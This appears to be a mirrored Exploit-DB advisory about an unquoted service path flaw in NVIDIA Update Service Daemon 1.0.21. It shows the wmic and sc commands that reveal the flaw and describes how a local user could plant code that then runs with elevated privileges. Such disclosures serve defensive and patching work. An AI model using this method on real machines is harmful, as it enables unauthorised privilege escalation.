NVIDIA Update Service Daemon 1.0.21 – ‘nvUpdatusService’ Unquoted Service Path

  • 作者: Roberto Piña
    日期: 2020-04-28
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/48391/
  • # Exploit Title: NVIDIA Update Service Daemon 1.0.21- 'nvUpdatusService' Unquoted Service Path
    # Discovery by: Roberto Piña
    # Discovery Date: 2020-04-27
    # Vendor Homepage: https://www.nvidia.com/es-la/
    # Software Link : https://www.nvidia.com/es-la/
    # Tested Version: 1.0.21
    # Vulnerability Type: Unquoted Service Path
    # Tested on OS: Windows 10 Pro x64 es
    
    # Step to discover Unquoted Service Path: 
    
    
    C:\>wmic service get name, pathname, displayname, startmode | findstr "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "NVIDIA" | findstr /i /v """
    NVIDIA Update Service Daemon nvUpdatusServiceC:\Program Files (x86)\NVIDIA Corporation\NVIDIA Updatus\daemonu.exeAuto
    
    C:\>sc qc nvUpdatusService
    [SC] QueryServiceConfig CORRECTO
    
    NOMBRE_SERVICIO: nvUpdatusService
    TIPO : 10WIN32_OWN_PROCESS
    TIPO_INICIO: 2 AUTO_START(DELAYED)
    CONTROL_ERROR: 1 NORMAL
    NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\NVIDIA Corporation\NVIDIA Updatus\daemonu.exe
    GRUPO_ORDEN_CARGA:
    ETIQUETA : 0
    NOMBRE_MOSTRAR : NVIDIA Update Service Daemon
    DEPENDENCIAS :
    NOMBRE_INICIO_SERVICIO: .\UpdatusUser
    
    C:\>
    
    #Exploit:
    # A successful attempt would require the local user to be able to insert their code in the system root path 
    # undetected by the OS or other security applications where it could potentially be executed during 
    # application startup or reboot. If successful, the local user's code would execute with the elevated 
    # privileges of the application.